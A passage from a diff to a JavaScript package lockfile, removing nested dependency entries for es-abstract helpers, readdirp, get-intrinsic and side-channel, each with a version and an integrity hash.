- "array.prototype.findlast/es-abstract/array-buffer-byte-length": ["array-buffer-byte-length@1.0.1", "", { "dependencies": { "call-bind": "^1.0.5", "is-array-buffer": "^3.0.4" } }, "sha512-ahC5W1xgou+KTXix4sAO8Ki12Q+jf4i0+tmk3sC+zgcynshkHxzpXdImBehiUYKKKDwvfFiJl1tZt6ewscS1Mg=="],
-
- "array.prototype.findlast/es-abstract/arraybuffer.prototype.slice": ["arraybuffer.prototype.slice@1.0.3", "", { "dependencies": { "array-buffer-byte-length": "^1.0.1", "call-bind": "^1.0.5", "define-properties": "^1.2.1", "es-abstract": "^1.22.3", "es-errors": "^1.2.1", "get-intrinsic": "^1.2.3", "is-array-buffer": "^3.0.4", "is-shared-array-buffer": "^1.0.2" } }, "sha512-bMxMKAjg13EBSVscxTaYA4mRc5t1UAXa2kXiGTNfZ079HIWXEkKmkgFrh/nJqamaLSrXO5H4WFFkPEaLJWbs3A=="],
-
- "array.prototype.findlast/es-abstract/data-view-buffer": ["data-view-buffer@1.0.1", "", { "dependencies": { "call-bind": "^1.0.6", "es-errors": "^1.3.0", "is-data-view": "^1.0.1" } }, "sha512-0lht7OugA5x3iJLOWFhWK/5ehONdprk0ISXqVFn/NFrDu+cuc8iADFrGQz5BnRK7LLU3JmkbXSxaqX+/mXYtUA=="],
-
- "array.prototype.findlast/es-abstract/data-view-byte-length": ["data-view-byte-length@1.0.1", "", { "dependencies": { "call-bind": "^1.0.7", "es-errors": "^1.3.0", "is-data-view": "^1.0.1" } }, "sha512-4J7wRJD3ABAzr8wP+OcIcqq2dlUKp4DVflx++hs5h5ZKydWMI6/D/fAot+yh6g2tHh8fLFTvNOaVN357NvSrOQ=="],
-
- "array.prototype.findlast/es-abstract/data-view-byte-offset": ["data-view-byte-offset@1.0.0", "", { "dependencies": { "call-bind": "^1.0.6", "es-errors": "^1.3.0", "is-data-view": "^1.0.1" } }, "sha512-t/Ygsytq+R995EJ5PZlD4Cu56sWa8InXySaViRzw9apusqsOO2bQP+SbYzAhR0pFKoB+43lYy8rWban9JSuXnA=="],
-
- "array.prototype.findlast/es-abstract/es-define-property": ["es-define-property@1.0.0", "", { "dependencies": { "get-intrinsic": "^1.2.4" } }, "sha512-jxayLKShrEqqzJ0eumQbVhTYQM27CfT1T35+gCgDFoL82JLsXqTJ76zv6A0YLOgEnLUMvLzsDsGIrl8NFpT2gQ=="],
-
- "array.prototype.findlast/es-abstract/es-to-primitive": ["es-to-primitive@1.2.1", "", { "dependencies": { "is-callable": "^1.1.4", "is-date-object": "^1.0.1", "is-symbol": "^1.0.2" } }, "sha512-QCOllgZJtaUo9miYBcLChTUaHNjJF3PYs1VidD7AwiEj1kYxKeQTctLAezAOH5ZKRH0g2IgPn6KwB4IT8iRpvA=="],
-
- "array.prototype.findlast/es-abstract/function.prototype.name": ["function.prototype.name@1.1.6", "", { "dependencies": { "call-bind": "^1.0.2", "define-properties": "^1.2.0", "es-abstract": "^1.22.1", "functions-have-names": "^1.2.3" } }, "sha512-Z5kx79swU5P27WEayXM1tBi5Ze/lbIyiNgU3qyXUOf9b2rgXYyF9Dy9Cx+IQv/Lc8WCG6L82zwUPpSS9hGehIg=="],
-
- "array.prototype.findlast/es-abstract/get-intrinsic": ["get-intrinsic@1.2.4", "", { "dependencies": { "es-errors": "^1.3.0", "function-bind": "^1.1.2", "has-proto": "^1.0.1", "has-symbols": "^1.0.3", "hasown": "^2.0.0" } }, "sha512-5uYhsJH8VJBTv7oslg4BznJYhDoRI6waYCxMmCdnTrcCrHA/fCFKoTFz2JKKE0HdDFUF7/oQuhzumXJK7paBRQ=="],
-
- "array.prototype.findlast/es-abstract/get-symbol-description": ["get-symbol-description@1.0.2", "", { "dependencies": { "call-bind": "^1.0.5", "es-errors": "^1.3.0", "get-intrinsic": "^1.2.4" } }, "sha512-g0QYk1dZBxGwk+Ngc+ltRH2IBp2f7zBkBMBJZCDerh6EhlhSR6+9irMCuT/09zD6qkarHUSn529sK/yL4S27mg=="],
-
- "array.prototype.findlast/es-abstract/is-array-buffer": ["is-array-buffer@3.0.4", "", { "dependencies": { "call-bind": "^1.0.2", "get-intrinsic": "^1.2.1" } }, "sha512-wcjaerHw0ydZwfhiKbXJWLDY8A7yV7KhjQOpb83hGgGfId/aQa4TOvwyzn2PuswW2gPCYEL/nEAiSVpdOj1lXw=="],
-
- "array.prototype.findlast/es-abstract/is-data-view": ["is-data-view@1.0.1", "", { "dependencies": { "is-typed-array": "^1.1.13" } }, "sha512-AHkaJrsUVW6wq6JS8y3JnM/GJF/9cf+k20+iDzlSaJrinEo5+7vRiteOSwBhHRiAyQATN1AmY4hwzxJKPmYf+w=="],
-
- "array.prototype.findlast/es-abstract/is-shared-array-buffer": ["is-shared-array-buffer@1.0.3", "", { "dependencies": { "call-bind": "^1.0.7" } }, "sha512-nA2hv5XIhLR3uVzDDfCIknerhx8XUKnstuOERPNNIinXG7v9u+ohXF67vxm4TPTEPU6lm61ZkwP3c9PCB97rhg=="],
-
- "array.prototype.findlast/es-abstract/is-string": ["is-string@1.0.7", "", { "dependencies": { "has-tostringtag": "^1.0.0" } }, "sha512-tE2UXzivje6ofPW7l23cjDOMa09gb7xlAqG6jG5ej6uPV32TlWP3NKPigtaGeHNu9fohccRYvIiZMfOOnOYUtg=="],
-
- "array.prototype.findlast/es-abstract/is-typed-array": ["is-typed-array@1.1.13", "", { "dependencies": { "which-typed-array": "^1.1.14" } }, "sha512-uZ25/bUAlUY5fR4OKT4rZQEBrzQWYV9ZJYGGsUmEJ6thodVJ1HX64ePQ6Z0qPWP+m+Uq6e9UugrE38jeYsDSMw=="],
-
- "array.prototype.findlast/es-abstract/is-weakref": ["is-weakref@1.0.2", "", { "dependencies": { "call-bind": "^1.0.2" } }, "sha512-qctsuLZmIQ0+vSSMfoVvyFe2+GSEvnmZ2ezTup1SBse9+twCCeial6EEi3Nc2KFcf6+qz2FBPnjXsk8xhKSaPQ=="],
-
- "array.prototype.findlast/es-abstract/object-inspect": ["object-inspect@1.13.3", "", {}, "sha512-kDCGIbxkDSXE3euJZZXzc6to7fCrKHNI/hSRQnRuQ+BWjFNzZwiFF8fj/6o2t2G9/jTj8PSIYTfCLelLZEeRpA=="],
-
- "array.prototype.findlast/es-abstract/string.prototype.trim": ["string.prototype.trim@1.2.9", "", { "dependencies": { "call-bind": "^1.0.7", "define-properties": "^1.2.1", "es-abstract": "^1.23.0", "es-object-atoms": "^1.0.0" } }, "sha512-klHuCNxiMZ8MlsOihJhJEBJAiMVqU3Z2nEXWfWnIqjN0gEFS9J9+IxKozWWtQGcgoa1WUZzLjKPTr4ZHNFTFxw=="],
-
- "array.prototype.findlast/es-abstract/string.prototype.trimend": ["string.prototype.trimend@1.0.8", "", { "dependencies": { "call-bind": "^1.0.7", "define-properties": "^1.2.1", "es-object-atoms": "^1.0.0" } }, "sha512-p73uL5VCHCO2BZZ6krwwQE3kCzM7NKmis8S//xEC6fQonchbum4eP6kR4DLEjQFO3Wnj3Fuo8NM0kOSjVdHjZQ=="],
-
- "array.prototype.findlast/es-abstract/typed-array-buffer": ["typed-array-buffer@1.0.2", "", { "dependencies": { "call-bind": "^1.0.7", "es-errors": "^1.3.0", "is-typed-array": "^1.1.13" } }, "sha512-gEymJYKZtKXzzBzM4jqa9w6Q1Jjm7x2d+sh19AdsD4wqnMPDYyvwpsIc2Q/835kHuo3BEQ7CjelGhfTsoBb2MQ=="],
-
- "array.prototype.findlast/es-abstract/typed-array-byte-length": ["typed-array-byte-length@1.0.1", "", { "dependencies": { "call-bind": "^1.0.7", "for-each": "^0.3.3", "gopd": "^1.0.1", "has-proto": "^1.0.3", "is-typed-array": "^1.1.13" } }, "sha512-3iMJ9q0ao7WE9tWcaYKIptkNBuOIcZCCT0d4MRvuuH88fEoEH62IuQe0OtraD3ebQEoTRk8XCBoknUNc1Y67pw=="],
-
- "array.prototype.findlast/es-abstract/typed-array-byte-offset": ["typed-array-byte-offset@1.0.3", "", { "dependencies": { "available-typed-arrays": "^1.0.7", "call-bind": "^1.0.7", "for-each": "^0.3.3", "gopd": "^1.0.1", "has-proto": "^1.0.3", "is-typed-array": "^1.1.13", "reflect.getprototypeof": "^1.0.6" } }, "sha512-GsvTyUHTriq6o/bHcTd0vM7OQ9JEdlvluu9YISaA7+KzDzPaIzEeDFNkTfhdE3MYcNhNi0vq/LlegYgIs5yPAw=="],
-
- "array.prototype.findlast/es-abstract/unbox-primitive": ["unbox-primitive@1.0.2", "", { "dependencies": { "call-bind": "^1.0.2", "has-bigints": "^1.0.2", "has-symbols": "^1.0.3", "which-boxed-primitive": "^1.0.2" } }, "sha512-61pPlCD9h51VoreyJ0BReideM3MDKMKnh6+V9L08331ipq6Q8OFXZYiqP6n/tbHx4s5I9uRhcye6BrbkizkBDw=="],
-
- "array.prototype.findlast/es-abstract/which-typed-array": ["which-typed-array@1.1.15", "", { "dependencies": { "available-typed-arrays": "^1.0.7", "call-bind": "^1.0.7", "for-each": "^0.3.3", "gopd": "^1.0.1", "has-tostringtag": "^1.0.2" } }, "sha512-oV0jmFtUky6CXfkqehVvBP/LSWJ2sy4vWMioiENyJLePrBO/yKyV9OyJySfAKosh+RYkIl5zJCNZ8/4JncrpdA=="],
-
- "array.prototype.tosorted/call-bind/es-define-property": ["es-define-property@1.0.0", "", { "dependencies": { "get-intrinsic": "^1.2.4" } }, "sha512-jxayLKShrEqqzJ0eumQbVhTYQM27CfT1T35+gCgDFoL82JLsXqTJ76zv6A0YLOgEnLUMvLzsDsGIrl8NFpT2gQ=="],
-
- "array.prototype.tosorted/call-bind/get-intrinsic": ["get-intrinsic@1.2.4", "", { "dependencies": { "es-errors": "^1.3.0", "function-bind": "^1.1.2", "has-proto": "^1.0.1", "has-symbols": "^1.0.3", "hasown": "^2.0.0" } }, "sha512-5uYhsJH8VJBTv7oslg4BznJYhDoRI6waYCxMmCdnTrcCrHA/fCFKoTFz2JKKE0HdDFUF7/oQuhzumXJK7paBRQ=="],
-
- "array.prototype.tosorted/es-abstract/array-buffer-byte-length": ["array-buffer-byte-length@1.0.1", "", { "dependencies": { "call-bind": "^1.0.5", "is-array-buffer": "^3.0.4" } }, "sha512-ahC5W1xgou+KTXix4sAO8Ki12Q+jf4i0+tmk3sC+zgcynshkHxzpXdImBehiUYKKKDwvfFiJl1tZt6ewscS1Mg=="],
-
- "array.prototype.tosorted/es-abstract/arraybuffer.prototype.slice": ["arraybuffer.prototype.slice@1.0.3", "", { "dependencies": { "array-buffer-byte-length": "^1.0.1", "call-bind": "^1.0.5", "define-properties": "^1.2.1", "es-abstract": "^1.22.3", "es-errors": "^1.2.1", "get-intrinsic": "^1.2.3", "is-array-buffer": "^3.0.4", "is-shared-array-buffer": "^1.0.2" } }, "sha512-bMxMKAjg13EBSVscxTaYA4mRc5t1UAXa2kXiGTNfZ079HIWXEkKmkgFrh/nJqamaLSrXO5H4WFFkPEaLJWbs3A=="],
-
- "array.prototype.tosorted/es-abstract/data-view-buffer": ["data-view-buffer@1.0.1", "", { "dependencies": { "call-bind": "^1.0.6", "es-errors": "^1.3.0", "is-data-view": "^1.0.1" } }, "sha512-0lht7OugA5x3iJLOWFhWK/5ehONdprk0ISXqVFn/NFrDu+cuc8iADFrGQz5BnRK7LLU3JmkbXSxaqX+/mXYtUA=="],
-
- "array.prototype.tosorted/es-abstract/data-view-byte-length": ["data-view-byte-length@1.0.1", "", { "dependencies": { "call-bind": "^1.0.7", "es-errors": "^1.3.0", "is-data-view": "^1.0.1" } }, "sha512-4J7wRJD3ABAzr8wP+OcIcqq2dlUKp4DVflx++hs5h5ZKydWMI6/D/fAot+yh6g2tHh8fLFTvNOaVN357NvSrOQ=="],
-
- "array.prototype.tosorted/es-abstract/data-view-byte-offset": ["data-view-byte-offset@1.0.0", "", { "dependencies": { "call-bind": "^1.0.6", "es-errors": "^1.3.0", "is-data-view": "^1.0.1" } }, "sha512-t/Ygsytq+R995EJ5PZlD4Cu56sWa8InXySaViRzw9apusqsOO2bQP+SbYzAhR0pFKoB+43lYy8rWban9JSuXnA=="],
-
- "array.prototype.tosorted/es-abstract/es-define-property": ["es-define-property@1.0.0", "", { "dependencies": { "get-intrinsic": "^1.2.4" } }, "sha512-jxayLKShrEqqzJ0eumQbVhTYQM27CfT1T35+gCgDFoL82JLsXqTJ76zv6A0YLOgEnLUMvLzsDsGIrl8NFpT2gQ=="],
-
- "array.prototype.tosorted/es-abstract/es-object-atoms": ["es-object-atoms@1.0.0", "", { "dependencies": { "es-errors": "^1.3.0" } }, "sha512-MZ4iQ6JwHOBQjahnjwaC1ZtIBH+2ohjamzAO3oaHcXYup7qxjF2fixyH+Q71voWHeOkI2q/TnJao/KfXYIZWbw=="],
-
- "array.prototype.tosorted/es-abstract/es-to-primitive": ["es-to-primitive@1.2.1", "", { "dependencies": { "is-callable": "^1.1.4", "is-date-object": "^1.0.1", "is-symbol": "^1.0.2" } }, "sha512-QCOllgZJtaUo9miYBcLChTUaHNjJF3PYs1VidD7AwiEj1kYxKeQTctLAezAOH5ZKRH0g2IgPn6KwB4IT8iRpvA=="],
-
- "array.prototype.tosorted/es-abstract/function.prototype.name": ["function.prototype.name@1.1.6", "", { "dependencies": { "call-bind": "^1.0.2", "define-properties": "^1.2.0", "es-abstract": "^1.22.1", "functions-have-names": "^1.2.3" } }, "sha512-Z5kx79swU5P27WEayXM1tBi5Ze/lbIyiNgU3qyXUOf9b2rgXYyF9Dy9Cx+IQv/Lc8WCG6L82zwUPpSS9hGehIg=="],
-
- "array.prototype.tosorted/es-abstract/get-intrinsic": ["get-intrinsic@1.2.4", "", { "dependencies": { "es-errors": "^1.3.0", "function-bind": "^1.1.2", "has-proto": "^1.0.1", "has-symbols": "^1.0.3", "hasown": "^2.0.0" } }, "sha512-5uYhsJH8VJBTv7oslg4BznJYhDoRI6waYCxMmCdnTrcCrHA/fCFKoTFz2JKKE0HdDFUF7/oQuhzumXJK7paBRQ=="],
-
- "array.prototype.tosorted/es-abstract/get-symbol-description": ["get-symbol-description@1.0.2", "", { "dependencies": { "call-bind": "^1.0.5", "es-errors": "^1.3.0", "get-intrinsic": "^1.2.4" } }, "sha512-g0QYk1dZBxGwk+Ngc+ltRH2IBp2f7zBkBMBJZCDerh6EhlhSR6+9irMCuT/09zD6qkarHUSn529sK/yL4S27mg=="],
-
- "array.prototype.tosorted/es-abstract/is-array-buffer": ["is-array-buffer@3.0.4", "", { "dependencies": { "call-bind": "^1.0.2", "get-intrinsic": "^1.2.1" } }, "sha512-wcjaerHw0ydZwfhiKbXJWLDY8A7yV7KhjQOpb83hGgGfId/aQa4TOvwyzn2PuswW2gPCYEL/nEAiSVpdOj1lXw=="],
-
- "array.prototype.tosorted/es-abstract/is-data-view": ["is-data-view@1.0.1", "", { "dependencies": { "is-typed-array": "^1.1.13" } }, "sha512-AHkaJrsUVW6wq6JS8y3JnM/GJF/9cf+k20+iDzlSaJrinEo5+7vRiteOSwBhHRiAyQATN1AmY4hwzxJKPmYf+w=="],
-
- "array.prototype.tosorted/es-abstract/is-shared-array-buffer": ["is-shared-array-buffer@1.0.3", "", { "dependencies": { "call-bind": "^1.0.7" } }, "sha512-nA2hv5XIhLR3uVzDDfCIknerhx8XUKnstuOERPNNIinXG7v9u+ohXF67vxm4TPTEPU6lm61ZkwP3c9PCB97rhg=="],
-
- "array.prototype.tosorted/es-abstract/is-string": ["is-string@1.0.7", "", { "dependencies": { "has-tostringtag": "^1.0.0" } }, "sha512-tE2UXzivje6ofPW7l23cjDOMa09gb7xlAqG6jG5ej6uPV32TlWP3NKPigtaGeHNu9fohccRYvIiZMfOOnOYUtg=="],
-
- "array.prototype.tosorted/es-abstract/is-typed-array": ["is-typed-array@1.1.13", "", { "dependencies": { "which-typed-array": "^1.1.14" } }, "sha512-uZ25/bUAlUY5fR4OKT4rZQEBrzQWYV9ZJYGGsUmEJ6thodVJ1HX64ePQ6Z0qPWP+m+Uq6e9UugrE38jeYsDSMw=="],
-
- "array.prototype.tosorted/es-abstract/is-weakref": ["is-weakref@1.0.2", "", { "dependencies": { "call-bind": "^1.0.2" } }, "sha512-qctsuLZmIQ0+vSSMfoVvyFe2+GSEvnmZ2ezTup1SBse9+twCCeial6EEi3Nc2KFcf6+qz2FBPnjXsk8xhKSaPQ=="],
-
- "array.prototype.tosorted/es-abstract/object-inspect": ["object-inspect@1.13.3", "", {}, "sha512-kDCGIbxkDSXE3euJZZXzc6to7fCrKHNI/hSRQnRuQ+BWjFNzZwiFF8fj/6o2t2G9/jTj8PSIYTfCLelLZEeRpA=="],
-
- "array.prototype.tosorted/es-abstract/string.prototype.trim": ["string.prototype.trim@1.2.9", "", { "dependencies": { "call-bind": "^1.0.7", "define-properties": "^1.2.1", "es-abstract": "^1.23.0", "es-object-atoms": "^1.0.0" } }, "sha512-klHuCNxiMZ8MlsOihJhJEBJAiMVqU3Z2nEXWfWnIqjN0gEFS9J9+IxKozWWtQGcgoa1WUZzLjKPTr4ZHNFTFxw=="],
-
- "array.prototype.tosorted/es-abstract/string.prototype.trimend": ["string.prototype.trimend@1.0.8", "", { "dependencies": { "call-bind": "^1.0.7", "define-properties": "^1.2.1", "es-object-atoms": "^1.0.0" } }, "sha512-p73uL5VCHCO2BZZ6krwwQE3kCzM7NKmis8S//xEC6fQonchbum4eP6kR4DLEjQFO3Wnj3Fuo8NM0kOSjVdHjZQ=="],
-
- "array.prototype.tosorted/es-abstract/typed-array-buffer": ["typed-array-buffer@1.0.2", "", { "dependencies": { "call-bind": "^1.0.7", "es-errors": "^1.3.0", "is-typed-array": "^1.1.13" } }, "sha512-gEymJYKZtKXzzBzM4jqa9w6Q1Jjm7x2d+sh19AdsD4wqnMPDYyvwpsIc2Q/835kHuo3BEQ7CjelGhfTsoBb2MQ=="],
-
- "array.prototype.tosorted/es-abstract/typed-array-byte-length": ["typed-array-byte-length@1.0.1", "", { "dependencies": { "call-bind": "^1.0.7", "for-each": "^0.3.3", "gopd": "^1.0.1", "has-proto": "^1.0.3", "is-typed-array": "^1.1.13" } }, "sha512-3iMJ9q0ao7WE9tWcaYKIptkNBuOIcZCCT0d4MRvuuH88fEoEH62IuQe0OtraD3ebQEoTRk8XCBoknUNc1Y67pw=="],
-
- "array.prototype.tosorted/es-abstract/typed-array-byte-offset": ["typed-array-byte-offset@1.0.3", "", { "dependencies": { "available-typed-arrays": "^1.0.7", "call-bind": "^1.0.7", "for-each": "^0.3.3", "gopd": "^1.0.1", "has-proto": "^1.0.3", "is-typed-array": "^1.1.13", "reflect.getprototypeof": "^1.0.6" } }, "sha512-GsvTyUHTriq6o/bHcTd0vM7OQ9JEdlvluu9YISaA7+KzDzPaIzEeDFNkTfhdE3MYcNhNi0vq/LlegYgIs5yPAw=="],
-
- "array.prototype.tosorted/es-abstract/unbox-primitive": ["unbox-primitive@1.0.2", "", { "dependencies": { "call-bind": "^1.0.2", "has-bigints": "^1.0.2", "has-symbols": "^1.0.3", "which-boxed-primitive": "^1.0.2" } }, "sha512-61pPlCD9h51VoreyJ0BReideM3MDKMKnh6+V9L08331ipq6Q8OFXZYiqP6n/tbHx4s5I9uRhcye6BrbkizkBDw=="],
-
- "array.prototype.tosorted/es-abstract/which-typed-array": ["which-typed-array@1.1.15", "", { "dependencies": { "available-typed-arrays": "^1.0.7", "call-bind": "^1.0.7", "for-each": "^0.3.3", "gopd": "^1.0.1", "has-tostringtag": "^1.0.2" } }, "sha512-oV0jmFtUky6CXfkqehVvBP/LSWJ2sy4vWMioiENyJLePrBO/yKyV9OyJySfAKosh+RYkIl5zJCNZ8/4JncrpdA=="],
-
- "c12/chokidar/readdirp": ["readdirp@4.1.2", "", {}, "sha512-GDhwkLfywWL2s6vEjyhri+eXmfH6j1L7JE27WhqLeYzoh/A3DBaYGEj2H/HFZCn/kMfim73FXxEJTw06WtxQwg=="],
-
- "define-data-property/es-define-property/get-intrinsic": ["get-intrinsic@1.2.4", "", { "dependencies": { "es-errors": "^1.3.0", "function-bind": "^1.1.2", "has-proto": "^1.0.1", "has-symbols": "^1.0.3", "hasown": "^2.0.0" } }, "sha512-5uYhsJH8VJBTv7oslg4BznJYhDoRI6waYCxMmCdnTrcCrHA/fCFKoTFz2JKKE0HdDFUF7/oQuhzumXJK7paBRQ=="],
-
- "es-abstract/internal-slot/side-channel": ["side-channel@1.1.0", "", { "dependencies": { "es-errors": "^1.3.0", "object-inspect": "^1.13.3", "side-channel-list": "^1.0.0", "side-channel-map": "^1.0.1", "side-channel-weakmap": "^1.0.2" } }, "sha512-ZX99e6tRweoUXqR+VBrslhda51Nh5MTQwou5tnUDgbtyM0dBgmhEDtWGP/xbKn6hqfPRHujUNwz5fy/wbbhnpw=="],
-
- "es-iterator-helpers/call-bind/es-define-property": ["es-define-property@1.0.0", "", { "dependencies": { "get-intrinsic": "^1.2.4" } }, "sha512-jxayLKShrEqqzJ0eumQbVhTYQM27CfT1T35+gCgDFoL82JLsXqTJ76zv6A0YLOgEnLUMvLzsDsGIrl8NFpT2gQ=="],
-
- "es-iterator-helpers/es-abstract/array-buffer-byte-length": ["array-buffer-byte-length@1.0.1", "", { "dependencies": { "call-bind": "^1.0.5", "is-array-buffer": "^3.0.4" } }, "sha512-ahC5W1xgou+KTXix4sAO8Ki12Q+jf4i0+tmk3sC+zgcynshkHxzpXdImBehiUYKKKDwvfFiJl1tZt6ewscS1Mg=="],
-
- "es-iterator-helpers/es-abstract/arraybuffer.prototype.slice": ["arraybuffer.prototype.slice@1.0.3", "", { "dependencies": { "array-buffer-byte-length": "^1.0.1", "call-bind": "^1.0.5", "define-properties": "^1.2.1", "es-abstract": "^1.22.3", "es-errors": "^1.2.1", "get-intrinsic": "^1.2.3", "is-array-buffer": "^3.0.4", "is-shared-array-buffer": "^1.0.2" } }, "sha512-bMxMKAjg13EBSVscxTaYA4mRc5t1UAXa2kXiGTNfZ079HIWXEkKmkgFrh/nJqamaLSrXO5H4WFFkPEaLJWbs3A=="],
-
- "es-iterator-helpers/es-abstract/data-view-buffer": ["data-view-buffer@1.0.1", "", { "dependencies": { "call-bind": "^1.0.6", "es-errors": "^1.3.0", "is-data-view": "^1.0.1" } }, "sha512-0lht7OugA5x3iJLOWFhWK/5ehONdprk0ISXqVFn/NFrDu+cuc8iADFrGQz5BnRK7LLU3JmkbXSxaqX+/mXYtUA=="],
-
- "es-iterator-helpers/es-abstract/data-view-byte-length": ["data-view-byte-length@1.0.1", "", { "dependencies": { "call-bind": "^1.0.7", "es-errors": "^1.3.0", "is-data-view": "^1.0.1" } }, "sha512-4J7wRJD3ABAzr8wP+OcIcqq2dlUKp4DVflx++hs5h5ZKydWMI6/D/fAot+yh6g2tHh8fLFTvNOaVN357NvSrOQ=="],
-
- "es-iterator-helpers/es-abstract/data-view-byte-offset": ["data-view-byte-offset@1.0.0", "", { "dependencies": { "call-bind": "^1.0.6", "es-errors": "^1.3.0", "is-data-view": "^1.0.1" } }, "sha512-t/Ygsytq+R995EJ5PZlD4Cu56sWa8InXySaViRzw9apusqsOO2bQP+SbYzAhR0pFKoB+43lYy8rWban9JSuXnA=="],
-
- "es-iterator-helpers/es-abstract/es-define-property": ["es-define-property@1.0.0", "", { "dependencies": { "get-intrinsic": "^1.2.4" } }, "sha512-jxayLKShrEqqzJ0eumQbVhTYQM27CfT1T35+gCgDFoL82JLsXqTJ76zv6A0YLOgEnLUMvLzsDsGIrl8NFpT2gQ=="],
-
- "es-iterator-helpers/es-abstract/es-object-atoms": ["es-object-atoms@1.0.0", "", { "dependencies": { "es-errors": "^1.3.0" } }, "sha512-MZ4iQ6JwHOBQjahnjwaC1ZtIBH+2ohjamzAO3oaHcXYup7qxjF2fixyH+Q71voWHeOkI2q/TnJao/KfXYIZWbw=="],
-
- "es-iterator-helpers/es-abstract/es-to-primitive": ["es-to-primitive@1.2.1", "", { "dependencies": { "is-callable": "^1.1.4", "is-date-object": "^1.0.1", "is-symbol": "^1.0.2" } }, "sha512-QCOllgZJtaUo9miYBcLChTUaHNjJF3PYs1VidD7AwiEj1kYxKeQTctLAezAOH5ZKRH0g2IgPn6KwB4IT8iRpvA=="],
-
- "es-iterator-helpers/es-abstract/function.prototype.name": ["function.prototype.name@1.1.6", "", { "dependencies": { "call-bind": "^1.0.2", "define-properties": "^1.2.0", "es-abstract": "^1.22.1", "functions-have-names": "^1.2.3" } }, "sha512-Z5kx79swU5P27WEayXM1tBi5Ze/lbIyiNgU3qyXUOf9b2rgXYyF9Dy9Cx+IQv/Lc8WCG6L82zwUPpSS9hGehIg=="],
-
- "es-iterator-helpers/es-abstract/get-symbol-description": ["get-symbol-description@1.0.2", "", { "dependencies": { "call-bind": "^1.0.5", "es-errors": "^1.3.0", "get-intrinsic": "^1.2.4" } }, "sha512-g0QYk1dZBxGwk+Ngc+ltRH2IBp2f7zBkBMBJZCDerh6EhlhSR6+9irMCuT/09zD6qkarHUSn529sK/yL4S27mg=="],
-
- "es-iterator-helpers/es-abstract/is-array-buffer": ["is-array-buffer@3.0.4", "", { "dependencies": { "call-bind": "^1.0.2", "get-intrinsic": "^1.2.1" } }, "sha512-wcjaerHw0ydZwfhiKbXJWLDY8A7yV7KhjQOpb83hGgGfId/aQa4TOvwyzn2PuswW2gPCYEL/nEAiSVpdOj1lXw=="],
-
- "es-iterator-helpers/es-abstract/is-data-view": ["is-data-view@1.0.1", "", { "dependencies": { "is-typed-array": "^1.1.13" } }, "sha512-AHkaJrsUVW6wq6JS8y3JnM/GJF/9cf+k20+iDzlSaJrinEo5+7vRiteOSwBhHRiAyQATN1AmY4hwzxJKPmYf+w=="],
-
- "es-iterator-helpers/es-abstract/is-shared-array-buffer": ["is-shared-array-buffer@1.0.3", "", { "dependencies": { "call-bind": "^1.0.7" } }, "sha512-nA2hv5XIhLR3uVzDDfCIknerhx8XUKnstuOERPNNIinXG7v9u+ohXF67vxm4TPTEPU6lm61ZkwP3c9PCB97rhg=="],
-
- "es-iterator-helpers/es-abstract/is-string": ["is-string@1.0.7", "", { "dependencies": { "has-tostringtag": "^1.0.0" } }, "sha512-tE2UXzivje6ofPW7l23cjDOMa09gb7xlAqG6jG5ej6uPV32TlWP3NKPigtaGeHNu9fohccRYvIiZMfOOnOYUtg=="],
-
- "es-iterator-helpers/es-abstract/is-typed-array": ["is-typed-array@1.1.13", "", { "dependencies": { "which-typed-array": "^1.1.14" } }, "sha512-uZ25/bUAlUY5fR4OKT4rZQEBrzQWYV9ZJYGGsUmEJ6thodVJ1HX64ePQ6Z0qPWP+m+Uq6e9UugrE38jeYsDSMw=="],
-
- "es-iterator-helpers/es-abstract/is-weakref": ["is-weakref@1.0.2", "", { "dependencies": { "call-bind": "^1.0.2" } }, "sha512-qctsuLZmIQ0+vSSMfoVvyFe2+GSEvnmZ2ezTup1SBse9+twCCeial6EEi3Nc2KFcf6+qz2FBPnjXsk8xhKSaPQ=="],
-
- "es-iterator-helpers/es-abstract/object-inspect": ["object-inspect@1.13.3", "", {}, "sha512-kDCGIbxkDSXE3euJZZXzc6to7fCrKHNI/hSRQnRuQ+BWjFNzZwiFF8fj/6o2t2G9/jTj8PSIYTfCLelLZEeRpA=="],
-
- "es-iterator-helpers/es-abstract/string.prototype.trim": ["string.prototype.trim@1.2.9", "", { "dependencies": { "call-bind": "^1.0.7", "define-properties": "^1.2.1", "es-abstract": "^1.23.0", "es-object-atoms": "^1.0.0" } }, "sha512-klHuCNxiMZ8MlsOihJhJEBJAiMVqU3Z2nEXWfWnIqjN0gEFS9J9+IxKozWWtQGcgoa1WUZzLjKPTr4ZHNFTFxw=="],
-
- "es-iterator-helpers/es-abstract/string.prototype.trimend": ["string.prototype.trimend@1.0.8", "", { "dependencies": { "call-bind": "^1.0.7", "define-properties": "^1.2.1", "es-object-atoms": "^1.0.0" } }, "sha512-p73uL5VCHCO2BZZ6krwwQE3kCzM7NKmis8S//xEC6fQonchbum4eP6kR4DLEjQFO3Wnj3Fuo8NM0kOSjVdHjZQ=="],
-
- "es-iterator-helpers/es-abstract/typed-array-buffer": ["typed-array-buffer@1.0.2", "", { "dependencies": { "call-bind": "^1.0.7", "es-errors": "^1.3.0", "is-typed-array": "^1.1.13" } }, "sha512-gEymJYKZtKXzzBzM4jqa9w6Q1Jjm7x2d+sh19AdsD4wqnMPDYyvwpsIc2Q/835kHuo3BEQ7CjelGhfTsoBb2MQ=="],
-
- "es-iterator-helpers/es-abstract/typed-array-byte-length": ["typed-array-byte-length@1.0.1", "", { "dependencies": { "call-bind": "^1.0.7", "for-each": "^0.3.3", "gopd": "^1.0.1", "has-proto": "^1.0.3", "is-typed-array": "^1.1.13" } }, "sha512-3iMJ9q0ao7WE9tWcaYKIptkNBuOIcZCCT0d4MRvuuH88fEoEH62IuQe0OtraD3ebQEoTRk8XCBoknUNc1Y67pw=="],
-
- "es-iterator-helpers/es-abstract/typed-array-byte-offset": ["typed-array-byte-offset@1.0.3", "", { "dependencies": { "available-typed-arrays": "^1.0.7", "call-bind": "^1.0.7", "for-each": "^0.3.3", "gopd": "^1.0.1", "has-proto": "^1.0.3", "is-typed-array": "^1.1.13", "reflect.getprototypeof": "^1.0.6" } }, "sha512-GsvTyUHTriq6o/bHcTd0vM7OQ9JEdlvluu9YISaA7+KzDzPaIzEeDFNkTfhdE3MYcNhNi0vq/LlegYgIs5yPAw=="],
-
- "es-iterator-helpers/es-abstract/unbox-primitive": ["unbox-primitive@1.0.2", "", { "dependencies": { "call-bind": "^1.0.2", "has-bigints": "^1.0.2", "has-symbols": "^1.0.3", "which-boxed-primitive": "^1.0.2" } }, "sha512-61pPlCD9h51VoreyJ0BReideM3MDKMKnh6+V9L08331ipq6Q8OFXZYiqP6n/tbHx4s5I9uRhcye6BrbkizkBDw=="],
-
